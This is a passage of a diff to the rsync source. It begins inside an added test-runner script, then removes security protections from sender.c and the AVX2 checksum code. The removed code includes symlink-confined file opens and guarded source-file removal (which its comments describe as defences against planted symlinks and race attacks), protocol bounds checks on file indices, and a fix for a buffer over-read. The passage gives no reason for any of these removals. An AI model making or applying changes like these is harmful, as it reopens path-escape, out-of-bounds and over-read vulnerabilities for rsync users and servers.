trying.\n+\tRUNSHFLAGS=\"$RUNSHFLAGS -x\"\n+    fi\n+fi\n+\n+POSIXLY_CORRECT=1\n+if test x\"$TOOLDIR\" = x; then\n+    TOOLDIR=`pwd`\n+fi\n+srcdir=`dirname $0`\n+if test x\"$srcdir\" = x || test x\"$srcdir\" = x.; then\n+    srcdir=\"$TOOLDIR\"\n+fi\n+if test x\"$rsync_bin\" = x; then\n+    rsync_bin=\"$TOOLDIR/rsync\"\n+fi\n+\n+# This allows the user to specify extra rsync options -- use carefully!\n+RSYNC=\"$rsync_bin $*\"\n+#RSYNC=\"valgrind $rsync_bin $*\"\n+\n+TLS_ARGS=''\n+if grep -E '^#define HAVE_LUTIMES 1' config.h >/dev/null; then\n+    TLS_ARGS=\"$TLS_ARGS -l\"\n+fi\n+if grep -E '#undef CHOWN_MODIFIES_SYMLINK' config.h >/dev/null; then\n+    TLS_ARGS=\"$TLS_ARGS -L\"\n+fi\n+\n+export POSIXLY_CORRECT TOOLDIR srcdir RSYNC TLS_ARGS\n+\n+echo \"============================================================\"\n+echo \"$0 running in $TOOLDIR\"\n+echo \"    rsync_bin=$RSYNC\"\n+echo \"    srcdir=$srcdir\"\n+echo \"    TLS_ARGS=$TLS_ARGS\"\n+\n+if [ -f /usr/bin/whoami ]; then\n+    testuser=`/usr/bin/whoami`\n+elif [ -f /usr/ucb/whoami ]; then\n+    testuser=`/usr/ucb/whoami`\n+elif [ -f /bin/whoami ]; then\n+    testuser=`/bin/whoami`\n+else\n+    testuser=`id -un 2>/dev/null || echo ${LOGNAME:-${USERNAME:-${USER:-'UNKNOWN'}}}`\n+fi\n+\n+echo \"    testuser=$testuser\"\n+echo \"    os=`uname -a`\"\n+\n+# It must be \"yes\", not just nonnull\n+if [ \"x$preserve_scratch\" = xyes ]; then\n+    echo \"    preserve_scratch=yes\"\n+else\n+    echo \"    preserve_scratch=no\"\n+fi\n+\n+# Check if setacl/setfacl is around and if it supports the -k or -s option.\n+if setacl -k u::7,g::5,o:5 testsuite 2>/dev/null; then\n+    setfacl_nodef='setacl -k'\n+elif setfacl --help 2>&1 | grep ' -k,\\|\\[-[a-z]*k' >/dev/null; then\n+    setfacl_nodef='setfacl -k'\n+elif setfacl -s u::7,g::5,o:5 testsuite 2>/dev/null; then\n+    setfacl_nodef='setfacl -s u::7,g::5,o:5'\n+else\n+    # The \"true\" command runs successfully, but does nothing.\n+    setfacl_nodef=true\n+fi\n+\n+export setfacl_nodef\n+\n+if [ ! -f \"$rsync_bin\" ]; then\n+    echo \"rsync_bin $rsync_bin is not a file\" >&2\n+    exit 2\n+fi\n+\n+if [ ! -d \"$srcdir\" ]; then\n+    echo \"srcdir $srcdir is not a directory\" >&2\n+    exit 2\n+fi\n+\n+expect_skipped=\"${RSYNC_EXPECT_SKIPPED-IGNORE}\"\n+skipped_list=''\n+skipped=0\n+missing=0\n+passed=0\n+failed=0\n+\n+# Directory that holds the other test subdirs.  We create separate dirs\n+# inside for each test case, so that they can be left behind in case of\n+# failure to aid investigation.  We don't remove the testtmp subdir at\n+# the end so that it can be configured as a symlink to a filesystem that\n+# has ACLs and xattr support enabled (if desired).\n+scratchbase=\"${scratchbase:-$TOOLDIR}\"/testtmp\n+echo \"    scratchbase=$scratchbase\"\n+[ -d \"$scratchbase\" ] || mkdir \"$scratchbase\"\n+\n+suitedir=\"$srcdir/testsuite\"\n+TESTRUN_TIMEOUT=300\n+\n+export scratchdir suitedir TESTRUN_TIMEOUT\n+\n+prep_scratch() {\n+    [ -d \"$scratchdir\" ] && chmod -R u+rwX \"$scratchdir\" && rm -rf \"$scratchdir\"\n+    mkdir \"$scratchdir\"\n+    # Get rid of default ACLs and dir-setgid to avoid confusing some tests.\n+    $setfacl_nodef \"$scratchdir\" 2>/dev/null || true\n+    chmod g-s \"$scratchdir\"\n+    case \"$srcdir\" in\n+    /*) ln -s \"$srcdir\" \"$scratchdir/src\" ;;\n+    *)  ln -s \"$TOOLDIR/$srcdir\" \"$scratchdir/src\" ;;\n+    esac\n+    return 0\n+}\n+\n+maybe_discard_scratch() {\n+    [ x\"$preserve_scratch\" != xyes ] && [ -d \"$scratchdir\" ] && rm -rf \"$scratchdir\"\n+    return 0\n+}\n+\n+if [ \"x$whichtests\" = x ]; then\n+    whichtests=\"*.test\"\n+    full_run=yes\n+else\n+    full_run=no\n+fi\n+\n+for testscript in $suitedir/$whichtests; do\n+    testbase=`echo $testscript | sed -e 's!.*/!!' -e 's/.test\\$//'`\n+    scratchdir=\"$scratchbase/$testbase\"\n+\n+    prep_scratch\n+\n+    case \"$testscript\" in\n+    *hardlinks*) TESTRUN_TIMEOUT=600 ;;\n+    *) TESTRUN_TIMEOUT=300 ;;\n+    esac\n+\n+    set +e\n+    \"$TOOLDIR/\"testrun $RUNSHFLAGS \"$testscript\" >\"$scratchdir/test.log\" 2>&1\n+    result=$?\n+    set -e\n+\n+    if [ \"x$always_log\" = xyes ] || ( [ $result != 0 ] && [ $result != 77 ] && [ $result != 78 ] )\n+    then\n+\techo \"----- $testbase log follows\"\n+\tcat \"$scratchdir/test.log\"\n+\techo \"----- $testbase log ends\"\n+\tif [ -f \"$scratchdir/rsyncd.log\" ]; then\n+\t    echo \"----- $testbase rsyncd.log follows\"\n+\t    cat \"$scratchdir/rsyncd.log\"\n+\t    echo \"----- $testbase rsyncd.log ends\"\n+\tfi\n+    fi\n+\n+    case $result in\n+    0)\n+\techo \"PASS    $testbase\"\n+\tpassed=`expr $passed + 1`\n+\tmaybe_discard_scratch\n+\t;;\n+    77)\n+\t# backticks will fill the whole file onto one line, which is a feature\n+\twhyskipped=`cat \"$scratchdir/whyskipped\"`\n+\techo \"SKIP    $testbase ($whyskipped)\"\n+\tskipped_list=\"$skipped_list,$testbase\"\n+\tskipped=`expr $skipped + 1`\n+\tmaybe_discard_scratch\n+\t;;\n+    78)\n+        # It failed, but we expected that.  don't dump out error logs,\n+\t# because most users won't want to see them.  But do leave\n+\t# the working directory around.\n+\techo \"XFAIL   $testbase\"\n+\tfailed=`expr $failed + 1`\n+\t;;\n+    *)\n+\techo \"FAIL    $testbase\"\n+\tfailed=`expr $failed + 1`\n+\tif [ \"x$nopersist\" = xyes ]; then\n+\t    exit 1\n+\tfi\n+    esac\n+done\n+\n+echo '------------------------------------------------------------'\n+echo \"----- overall results:\"\n+echo \"      $passed passed\"\n+[ \"$failed\" -gt 0 ]  && echo \"      $failed failed\"\n+[ \"$skipped\" -gt 0 ] && echo \"      $skipped skipped\"\n+[ \"$missing\" -gt 0 ] && echo \"      $missing missing\"\n+if [ \"$full_run\" = yes ] && [ \"$expect_skipped\" != IGNORE ]; then\n+    skipped_list=`echo \"$skipped_list\" | sed 's/^,//'`\n+    echo \"----- skipped results:\"\n+    echo \"      expected: $expect_skipped\"\n+    echo \"      got:      $skipped_list\"\n+else\n+    skipped_list=''\n+    expect_skipped=''\n+fi\n+echo '------------------------------------------------------------'\n+\n+# OK, so expr exits with 0 if the result is neither null nor zero; and\n+# 1 if the expression is null or zero.  This is the opposite of what\n+# we want, and if we just call expr then this script will always fail,\n+# because -e is set.\n+\n+result=`expr $failed + $missing || true`\n+if [ \"$result\" = 0 ] && [ \"$skipped_list\" != \"$expect_skipped\" ]; then\n+    result=1\n+fi\n+echo \"overall result is $result\"\n+exit $result\ndiff --git a/sender.c b/sender.c\nindex c1b9039..a4d46c3 100644\n--- a/sender.c\n+++ b/sender.c\n@@ -23,7 +23,6 @@\n #include \"inums.h\"\n \n extern int do_xfers;\n-extern int open_noatime;\n extern int am_server;\n extern int am_daemon;\n extern int local_server;\n@@ -36,9 +35,6 @@ extern int xfer_sum_len;\n extern int csum_length;\n extern int append_mode;\n extern int copy_links;\n-extern int copy_unsafe_links;\n-extern int copy_dirlinks;\n-extern int insecure_links;\n extern int io_error;\n extern int flist_eof;\n extern int whole_file;\n@@ -52,13 +48,8 @@ extern int make_backups;\n extern int inplace;\n extern int inplace_partial;\n extern int batch_fd;\n-extern char *module_dir;\n-extern unsigned int module_dirlen;\n-extern const char *orig_dir;\n-extern int module_dirfd;\n extern int write_batch;\n extern int file_old_total;\n-extern char *files_from;\n extern BOOL want_progress_now;\n extern struct stats stats;\n extern struct file_list *cur_flist, *first_flist, *dir_flist;\n@@ -74,272 +65,6 @@ BOOL extra_flist_sending_enabled;\n  * machine holding the source files.\n  **/\n \n-/* The module subdir (orig_dir) that a relative F_PATHNAME is under, or \"\" if absolute. */\n-static const char *orig_subdir(const char *path)\n-{\n-\treturn *path == '/' ? \"\" : orig_dir + module_dirlen;\n-}\n-\n-static int secure_sender_parent_fd(struct file_struct *file, const char *fname, const char **bname_p)\n-{\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\tconst char *path, *slash, *relp, *bslash, *fslash;\n-\tchar secure_path[MAXPATHLEN];\n-\tint dfd, fl, slen;\n-\n-\tif (!fname || !*fname) {\n-\t\terrno = 0;\n-\t\treturn -1;\n-\t}\n-\n-\t/* \"insecure links = yes\" / --insecure-links: restore the 3.2.7 plain re-stat\n-\t * by declining the confined parent (errno=0 makes the caller use do_lstat). */\n-\tif (symlink_optout_allowed()) {\n-\t\terrno = 0;\n-\t\treturn -1;\n-\t}\n-\n-\tif (filesfrom_owner_walk_active())\n-\t\treturn owner_walk_parent(fname, bname_p);\n-\n-\tif (!am_daemon || !module_dir || module_dir[0] != '/') {\n-\t\t/* Local (non-daemon) sender: there is no module root to anchor at, but\n-\t\t * still confine the parent via the shared held ancestor-dirfd stack\n-\t\t * (anchor = cwd, the transfer root set by change_pathname) so the\n-\t\t * --remove-source-files re-stat below won't follow an attacker-planted\n-\t\t * parent symlink.  Best-effort: an uncacheable (very deep) path declines\n-\t\t * to -1 and the caller falls back to the path-based stat. */\n-\t\tconst char *fslash = strrchr(fname, '/');\n-\t\t*bname_p = fslash ? fslash + 1 : fname;\n-\t\tif (fslash) {\n-\t\t\tchar dir[MAXPATHLEN];\n-\t\t\tsize_t dlen = (size_t)(fslash - fname);\n-\t\t\tif (dlen >= sizeof dir) {\n-\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tmemcpy(dir, fname, dlen);\n-\t\t\tdir[dlen] = '\\0';\n-\t\t\t/* An absolute --relative name is still rooted at / after\n-\t\t\t * change_pathname().  Resolving its parent through the cwd-backed\n-\t\t\t * dirfd cache would re-anchor cleanup at the sender's working\n-\t\t\t * directory and can remove a same-named, unrelated entry there. */\n-\t\t\tif (*fname == '/') {\n-\t\t\t\tconst char *rel = dir;\n-#ifdef __CYGWIN__\n-\t\t\t\t/* clean_fname() keeps exactly two leading slashes here,\n-\t\t\t\t * because //server/share is a separate UNC namespace.\n-\t\t\t\t * Stripping them and anchoring at \"/\" would resolve a\n-\t\t\t\t * different object entirely, so decline (errno 0) and let\n-\t\t\t\t * the caller fall back to the path-based cleanup. */\n-\t\t\t\tif (fname[1] == '/' && fname[2] != '/') {\n-\t\t\t\t\terrno = 0;\n-\t\t\t\t\treturn -1;\n-\t\t\t\t}\n-#endif\n-\t\t\t\twhile (*rel == '/')\n-\t\t\t\t\trel++;\n-\t\t\t\treturn secure_relative_dirfd(\"/\", rel);\n-\t\t\t}\n-\t\t\t/* held_dir_path_fd returns a cache-OWNED fd; the caller closes\n-\t\t\t * what we return, so hand back an owned dup and leave the cache's\n-\t\t\t * dirfd intact.  An uncacheable (very deep) dir declines with\n-\t\t\t * errno 0 -- fall back to the full confined walk (an owned fd,\n-\t\t\t * matching the sender's content open) so deep paths stay confined\n-\t\t\t * too; a real error propagates. */\n-\t\t\tdfd = held_dir_path_fd(NULL, dir);\n-\t\t\tif (dfd >= 0)\n-\t\t\t\treturn dup(dfd);\n-\t\t\tif (errno != 0)\n-\t\t\t\treturn -1;\n-\t\t\treturn secure_relative_dirfd(NULL, dir);\n-\t\t}\n-\t\terrno = 0;\t/* top-level file: no parent component to confine */\n-\t\treturn -1;\n-\t}\n-\n-\t/* Resolve the file's parent anchored at the absolute module root, never the\n-\t * process CWD: on cygwin the CWD is path-based, so a removal that trusted\n-\t * openat(\".\") could be raced (a parent-symlink flip) into unlinking outside\n-\t * the module.  Reconstruct the module-relative path from F_PATHNAME + f_name\n-\t * (as send_files does) and walk it confined beneath module_dir -- the\n-\t * per-component O_NOFOLLOW walk refuses the flipped symlink. */\n-\tpath = F_PATHNAME(file);\n-\tif (!path)\n-\t\tpath = \"\";\n-\tslash = *path ? \"/\" : \"\";\n-\tslen = snprintf(secure_path, sizeof secure_path, \"%s/%s%s%s\", orig_subdir(path), path, slash, fname);\n-\tif (slen < 0 || slen >= (int)sizeof secure_path) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\trelp = secure_path;\n-\twhile (*relp == '/')\n-\t\trelp++;\n-\n-\tbslash = strrchr(relp, '/');\n-\tif (bslash) {\n-\t\tchar dir[MAXPATHLEN];\n-\t\tsize_t dlen = (size_t)(bslash - relp);\n-\t\tif (dlen >= sizeof dir) {\n-\t\t\terrno = ENAMETOOLONG;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tmemcpy(dir, relp, dlen);\n-\t\tdir[dlen] = '\\0';\n-\t\tdfd = secure_relative_dirfd(module_dir, dir);\n-\t} else\n-\t\tdfd = secure_relative_dirfd(module_dir, \"\");\n-\n-\t/* The leaf is the same last component either way; take it from the caller's\n-\t * persistent fname buffer, not the local secure_path. */\n-\tfslash = strrchr(fname, '/');\n-\t*bname_p = fslash ? fslash + 1 : fname;\n-\n-\tif (dfd >= 0 && (fl = fcntl(dfd, F_GETFD)) >= 0)\n-\t\tfcntl(dfd, F_SETFD, fl | FD_CLOEXEC);\n-\treturn dfd;\n-#else\n-\t(void)file; (void)fname; (void)bname_p;\n-\terrno = 0;\n-\treturn -1;\n-#endif\n-}\n-\n-/* Go through the do_*() wrapper rather than a raw unlinkat(): it carries the\n- * dry_run no-op and the read-only/list-only refusal that do_unlink() applies\n- * on the non-fd path, plus the missing-AT_FDCWD fallback. */\n-static int secure_remove_source_file(int dfd, const char *bname)\n-{\n-\treturn do_unlink_atfd(dfd, bname, 0);\n-}\n-\n-/* Open `relpath` (relative to `anchor`: NULL=cwd, else an absolute trusted root)\n- * with `flags`, opening the leaf via the shared held ancestor-dirfd stack\n- * (held_dir_path_fd) so a directory is walked once, not once per file.  The leaf\n- * semantics are identical to secure_relative_open() -- it always O_NOFOLLOWs a\n- * file leaf and folds in O_NOATIME, both preserved here.  An uncacheable path\n- * (held_dir_path_fd returns -1) falls back to the full confined walk. */\n-static int sender_open_confined(const char *anchor, const char *relpath, int flags)\n-{\n-#ifdef AT_FDCWD\n-\tconst char *slash = strrchr(relpath, '/');\n-\tconst char *bname;\n-\tchar dirbuf[MAXPATHLEN];\n-\tconst char *dir;\n-\tint dfd;\n-\n-\tif (slash) {\n-\t\tsize_t dlen = slash - relpath;\n-\t\tif (dlen >= sizeof dirbuf) {\n-\t\t\terrno = ENAMETOOLONG;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tmemcpy(dirbuf, relpath, dlen);\n-\t\tdirbuf[dlen] = '\\0';\n-\t\tdir = dirbuf;\n-\t\tbname = slash + 1;\n-\t} else {\n-\t\tdir = \"\";\t\t/* file directly in the anchor dir */\n-\t\tbname = relpath;\n-\t}\n-\n-#ifdef O_NOATIME\n-\tif (open_noatime)\n-\t\tflags |= O_NOATIME;\n-#endif\n-\tdfd = held_dir_path_fd(anchor, dir);\n-\tif (dfd < 0)\n-\t\treturn secure_relative_open(anchor, relpath, flags | O_NOFOLLOW, 0);\n-\treturn openat(dfd, bname, flags | O_NOFOLLOW, 0);\n-#else\n-\t/* No *at() support: secure_relative_open is a plain open() here (no walk,\n-\t * so nothing to amortise); use it directly to keep the anchor semantics. */\n-\treturn secure_relative_open(anchor, relpath, flags | O_NOFOLLOW, 0);\n-#endif\n-}\n-\n-/* Open the content of `relpath` for a symlink-following transfer mode (-L /\n- * --copy-unsafe-links / -k) while staying confined beneath `anchor`.  The leaf\n- * O_NOFOLLOW that sender_open_confined() applies refuses an in-tree symlink the\n- * operator explicitly asked to follow, so resolve the link ourselves: read it,\n- * refuse an absolute or \"../\"-escaping target (a module escape), and re-resolve\n- * the relative target through secure_relative_open() -- which follows in-tree\n- * links and rejects an escape above the anchor -- looping for a symlink chain.\n- * The final open is still O_NOFOLLOW, so a raced flip at the resolved leaf is\n- * refused.  This keeps the module boundary while honouring --copy-links. */\n-static int sender_open_copylinks_confined(const char *anchor, const char *relpath)\n-{\n-#if defined AT_FDCWD && defined O_NOFOLLOW\n-\tchar cur[MAXPATHLEN];\n-\tint hops = 32;\n-\tint extra = 0;\n-#ifdef O_NOATIME\n-\tif (open_noatime)\n-\t\textra |= O_NOATIME;\n-#endif\n-\tif (strlcpy(cur, relpath, sizeof cur) >= sizeof cur) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\twhile (hops-- > 0) {\n-\t\tconst char *slash = strrchr(cur, '/');\n-\t\tconst char *bname;\n-\t\tchar dir[MAXPATHLEN], tgt[MAXPATHLEN];\n-\t\tint pdfd, fd, e;\n-\t\tssize_t n;\n-\t\tif (slash) {\n-\t\t\tsize_t dlen = slash - cur;\n-\t\t\tif (dlen >= sizeof dir) { errno = ENAMETOOLONG; return -1; }\n-\t\t\tmemcpy(dir, cur, dlen);\n-\t\t\tdir[dlen] = '\\0';\n-\t\t\tbname = slash + 1;\n-\t\t} else {\n-\t\t\tdir[0] = '\\0';\n-\t\t\tbname = cur;\n-\t\t}\n-\t\t/* anchor is checked explicitly: the resolver treats a NULL anchor as\n-\t\t * \"relative to cwd\", so it is a legal argument for the else branch --\n-\t\t * only this branch would hand it to strcmp(). */\n-\t\tif (am_daemon && module_dirfd >= 0 && module_dir && anchor\n-\t\t && strcmp(anchor, module_dir) == 0)\n-\t\t\tpdfd = secure_relative_dirfd_at_beneath(module_dirfd, dir);\n-\t\telse\n-\t\t\tpdfd = secure_relative_dirfd(anchor, dir);\n-\t\tif (pdfd < 0)\n-\t\t\treturn -1;\n-\t\tn = do_readlink_atfd(pdfd, bname, tgt, sizeof tgt - 1);\n-\t\te = errno;\n-\t\tif (n < 0) {\n-\t\t\t/* EINVAL: not a symlink -> the resolved target file.  Open it\n-\t\t\t * O_NOFOLLOW (a raced symlink flip is still refused). */\n-\t\t\tfd = e == EINVAL\n-\t\t\t   ? openat(pdfd, bname, O_RDONLY | O_NOFOLLOW | O_BINARY | extra, 0)\n-\t\t\t   : -1;\n-\t\t\tclose(pdfd);\n-\t\t\tif (n < 0 && e != EINVAL)\n-\t\t\t\terrno = e;\n-\t\t\treturn fd;\n-\t\t}\n-\t\tclose(pdfd);\n-\t\ttgt[n] = '\\0';\n-\t\tif (tgt[0] == '/') {\t\t/* absolute target escapes the module */\n-\t\t\terrno = ELOOP;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tif ((size_t)snprintf(cur, sizeof cur, \"%s%s%s\",\n-\t\t\t\t     dir, *dir ? \"/\" : \"\", tgt) >= sizeof cur) {\n-\t\t\terrno = ENAMETOOLONG;\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n-\terrno = ELOOP;\n-\treturn -1;\n-#else\n-\treturn secure_relative_open(anchor, relpath, O_RDONLY | O_NOFOLLOW, 0);\n-#endif\n-}\n-\n /**\n  * Receive the checksums for a buffer\n  **/\n@@ -405,36 +130,20 @@ void successful_send(int ndx)\n {\n \tchar fname[MAXPATHLEN];\n \tchar *failed_op;\n-\tconst char *bname = NULL;\n \tstruct file_struct *file;\n \tstruct file_list *flist;\n \tSTRUCT_STAT st;\n-\tint dfd = -1, secure_errno = 0;\n \n \tif (!remove_source_files)\n \t\treturn;\n \n \tflist = flist_for_ndx(ndx, \"successful_send\");\n-\tif (ndx < flist->ndx_start)\n-\t\texit_cleanup(RERR_PROTOCOL);\n \tfile = flist->files[ndx - flist->ndx_start];\n \tif (!change_pathname(file, NULL, 0))\n \t\treturn;\n \tf_name(file, fname);\n \n-\tdfd = secure_sender_parent_fd(file, fname, &bname);\n-\tif (dfd < 0)\n-\t\tsecure_errno = errno;\n-\n-\tif (dfd < 0 && secure_errno) {\n-\t\terrno = secure_errno;\n-\t\tfailed_op = \"secure-open-parent\";\n-\t\tgoto failed;\n-\t}\n-\n-\tif (dfd >= 0\n-\t ? (copy_links ? do_stat_atfd(dfd, bname, &st) : do_lstat_atfd(dfd, bname, &st)) < 0\n-\t : (copy_links ? do_stat(fname, &st) : do_lstat(fname, &st)) < 0) {\n+\tif ((copy_links ? do_stat(fname, &st) : do_lstat(fname, &st)) < 0) {\n \t\tfailed_op = \"re-lstat\";\n \t\tgoto failed;\n \t}\n@@ -443,8 +152,6 @@ void successful_send(int ndx)\n \t && (int64)st.st_dev == IVAL64(num_dev_ino_buf, 4)\n \t && (int64)st.st_ino == IVAL64(num_dev_ino_buf, 4 + 8)) {\n \t\trprintf(FERROR_XFER, \"ERROR: Skipping sender remove of destination file: %s\\n\", fname);\n-\t\tif (dfd >= 0)\n-\t\t\tclose(dfd);\n \t\treturn;\n \t}\n \n@@ -454,12 +161,10 @@ void successful_send(int ndx)\n #endif\n \t) {\n \t\trprintf(FERROR_XFER, \"ERROR: Skipping sender remove for changed file: %s\\n\", fname);\n-\t\tif (dfd >= 0)\n-\t\t\tclose(dfd);\n \t\treturn;\n \t}\n \n-\tif (dfd >= 0 ? secure_remove_source_file(dfd, bname) < 0 : do_unlink(fname) < 0) {\n+\tif (do_unlink(fname) < 0) {\n \t\tfailed_op = \"remove\";\n \t  failed:\n \t\tif (errno == ENOENT)\n@@ -470,8 +175,6 @@ void successful_send(int ndx)\n \t\tif (INFO_GTE(REMOVE, 1))\n \t\t\trprintf(FINFO, \"sender removed %s\\n\", fname);\n \t}\n-\tif (dfd >= 0)\n-\t\tclose(dfd);\n }\n \n static void write_ndx_and_attrs(int f_out, int ndx, int iflags,\n@@ -559,17 +262,8 @@ void send_files(int f_in, int f_out)\n \n \t\tif (ndx - cur_flist->ndx_start >= 0)\n \t\t\tfile = cur_flist->files[ndx - cur_flist->ndx_start];\n-\t\telse if (cur_flist->parent_ndx < 0\n-\t\t      || cur_flist->parent_ndx >= dir_flist->used)\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n \t\telse\n \t\t\tfile = dir_flist->files[cur_flist->parent_ndx];\n-\t\tif (!F_IS_ACTIVE(file)) {\n-\t\t\trprintf(FERROR,\n-\t\t\t\t\"rsync: refusing transfer of cleared file index %d\\n\",\n-\t\t\t\tndx);\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n \t\tif (F_PATHNAME(file)) {\n \t\t\tpath = F_PATHNAME(file);\n \t\t\tslash = \"/\";\n@@ -656,66 +350,7 @@ void send_files(int f_in, int f_out)\n \t\t\texit_cleanup(RERR_PROTOCOL);\n \t\t}\n \n-\t\tif (symlink_optout_allowed()) {\n-\t\t\t/* Module opted out of symlink confinement (\"insecure links =\n-\t\t\t * yes\", admin-only) -- or a non-daemon --insecure-links: legacy\n-\t\t\t * unconfined open, restoring the pre-hardening content read\n-\t\t\t * (re-opening the escape for that module; documented). */\n-\t\t\tfd = do_open_checklinks(fname);\n-\t\t} else if (secure_relpath_active()) {\n-\t\t\t/* Open from module root to prevent TOCTOU race where\n-\t\t\t * change_pathname's chdir follows a directory symlink.\n-\t\t\t * Reconstruct the full path relative to module_dir\n-\t\t\t * from F_PATHNAME (path) and f_name (fname). */\n-\t\t\tchar secure_path[MAXPATHLEN];\n-\t\t\tconst char *relp;\n-\t\t\tint slen = snprintf(secure_path, sizeof secure_path, \"%s/%s%s%s\", orig_subdir(path), path, slash, fname);\n-\t\t\tif (slen >= (int)sizeof secure_path) {\n-\t\t\t\tio_error |= IOERR_GENERAL;\n-\t\t\t\trprintf(FERROR_XFER, \"path too long: %s%s%s\\n\", path, slash, fname);\n-\t\t\t\tfree_sums(s);\n-\t\t\t\tif (protocol_version >= 30)\n-\t\t\t\t\tsend_msg_int(MSG_NO_SEND, ndx);\n-\t\t\t\tcontinue;\n-\t\t\t}\n-\t\t\t/* A module with `path = /` makes F_PATHNAME absolute, so the\n-\t\t\t * joined path starts with '/'; strip leading slashes to a\n-\t\t\t * module-relative path that secure_relative_open accepts (#897). */\n-\t\t\trelp = secure_path;\n-\t\t\twhile (*relp == '/')\n-\t\t\t\trelp++;\n-\t\t\t/* A symlink-following mode must follow an in-tree symlink leaf the\n-\t\t\t * operator asked for, still confined to the module; the default\n-\t\t\t * keeps the O_NOFOLLOW leaf so a raced leaf symlink is refused. */\n-\t\t\tif (copy_links || copy_unsafe_links || copy_dirlinks || insecure_links)\n-\t\t\t\tfd = sender_open_copylinks_confined(module_dir, relp);\n-\t\t\telse\n-\t\t\t\tfd = sender_open_confined(module_dir, relp, O_RDONLY);\n-\t\t} else if (!copy_links && !copy_unsafe_links && !copy_dirlinks && !insecure_links) {\n-\t\t\tint matched;\n-\t\t\t/* A files-from entry follows only trusted-owned ancestors because\n-\t\t\t * its source base is operator-selected but the entry itself may not\n-\t\t\t * be. Other paths stay confined beneath their explicit transfer root.\n-\t\t\t * Every file leaf remains O_NOFOLLOW. */\n-\t\t\tif (files_from) {\n-\t\t\t\tfd = do_open_checklinks(fname);\n-\t\t\t} else {\n-\t\t\t\tfd = open_sender_source_path(fname, O_RDONLY | O_NOFOLLOW, &matched);\n-\t\t\t\tif (!matched) {\n-\t\t\t\t\tif (fname[0] == '/') {\n-\t\t\t\t\t\t/* --relative keeps the full absolute path as fname;\n-\t\t\t\t\t\t * anchor at \"/\" and pass the resolver a relative path. */\n-\t\t\t\t\t\tconst char *relp = fname;\n-\t\t\t\t\t\twhile (*relp == '/')\n-\t\t\t\t\t\t\trelp++;\n-\t\t\t\t\t\tfd = sender_open_confined(\"/\", relp, O_RDONLY);\n-\t\t\t\t\t} else\n-\t\t\t\t\t\tfd = sender_open_confined(NULL, fname, O_RDONLY);\n-\t\t\t\t}\n-\t\t\t}\n-\t\t} else {\n-\t\t\tfd = do_open_checklinks(fname);\n-\t\t}\n+\t\tfd = do_open_checklinks(fname);\n \t\tif (fd == -1) {\n \t\t\tif (errno == ENOENT) {\n \t\t\t\tenum logcode c = am_daemon && protocol_version < 28 ? FERROR : FWARNING;\n@@ -822,7 +457,6 @@ void send_files(int f_in, int f_out)\n \tif (DEBUG_GTE(SEND, 1))\n \t\trprintf(FINFO, \"send files finished\\n\");\n \n-\tclear_sender_source_roots();\n \tmatch_report();\n \n \twrite_ndx(f_out, NDX_DONE);\ndiff --git a/simd-checksum-avx2.S b/simd-checksum-avx2.S\nindex 4583b23..549cc3e 100644\n--- a/simd-checksum-avx2.S\n+++ b/simd-checksum-avx2.S\n@@ -46,14 +46,6 @@ get_checksum1_avx2_asm:\n \tvpxor\txmm1, xmm1, xmm1 # reset both partial sums accumulators.\n \tvpxor\txmm4, xmm4, xmm4\n \tmov\teax, [r8]\n-\t# The loop below is software-pipelined: it preloads the 64 bytes AFTER the\n-\t# ones it is folding in.  Run it one block short and finish that block in\n-\t# .last, which does not preload -- otherwise the final iteration reads 64\n-\t# bytes past the end of what the caller gave us.  The remainder (len & 63)\n-\t# is always under 64, so that read always crossed buf+len; it only faulted\n-\t# when the buffer happened to end at a page boundary.\n-\tsub\tesi, 1\n-\tjz\t.last\n \t.p2align 4 \t\t# should fit into the LSD allocation queue.\n .loop:\n \tvpmaddubsw\tymm0, ymm15, ymm2  # s1 partial sums\n@@ -78,33 +70,11 @@ get_checksum1_avx2_asm:\n \tvpaddd ymm6, ymm10, ymm6  #  32*CHAR_OFFSET\n \tvpaddd ymm1, ymm13, ymm1  # 528*CHAR_OFFSET\n #endif\n-\tvmovdqa ymm2, ymm8   # move the next 64 bytes\n+\tvmovdqa ymm2, ymm8   # move the next 64 bytes \n \tvmovdqa ymm3, ymm9   # into the right registers\n \tsub\tesi, 1\n \tjnz\t.loop\n \n-\t# The final 64 bytes, already in ymm2/ymm3.  Same arithmetic as the loop\n-\t# body with the preload, the prefetch and the loop control dropped.\n-.last:\n-\tvpmaddubsw\tymm0, ymm15, ymm2  # s1 partial sums\n-\tvpmaddubsw\tymm5, ymm15, ymm3\n-\tvpaddd\tymm4, ymm4, ymm6\n-\tvpaddw\tymm5, ymm5, ymm0\n-\tvpsrld\tymm0, ymm5, 16\n-\tvpaddw\tymm5, ymm0, ymm5\n-\tvpaddd\tymm6, ymm5, ymm6\n-\tvpmaddubsw\tymm2, ymm7, ymm2  # s2 partial sums\n-\tvpmaddubsw\tymm3, ymm12, ymm3\n-\tvpaddw\tymm3, ymm2, ymm3\n-\tvpsrldq\tymm2, ymm3, 2\n-\tvpaddd\tymm3, ymm2, ymm3\n-\tvpaddd\tymm1, ymm1, ymm3\n-\n-#if CHAR_OFFSET != 0\n-\tvpaddd ymm6, ymm10, ymm6  #  32*CHAR_OFFSET\n-\tvpaddd ymm1, ymm13, ymm1  # 528*CHAR_OFFSET\n-#endif\n-\n \t# now we reduce the partial sums.\n \tvpslld\tymm3, ymm4, 6\n \tvpsrldq\tymm2, ymm6, 4\ndiff --git a/simd-checksum-x86_64.cpp b/simd-checksum-x86_64.cpp\nindex e9b45fc..d649091 100644\n--- a/simd-checksum-x86_64.cpp\n+++ b/simd-checksum-x86_64.cpp\n@@ -317,21 +317,6 @@ __attribute__ ((target(\"sse2\"))) MVSTATIC int32 get_checksum1_sse2_32(schar* buf\n \n extern \"C\" __attribute__ ((target(\"avx2\"))) int32 get_checksum1_avx2_asm(schar* buf, int32 len, int32 i, uint32* ps1, uint32* ps2);\n \n-/* The asm routine is AVX2-only and, unlike the multi-versioned intrinsic\n- * paths, has no compiler-generated fallback, so it must not be 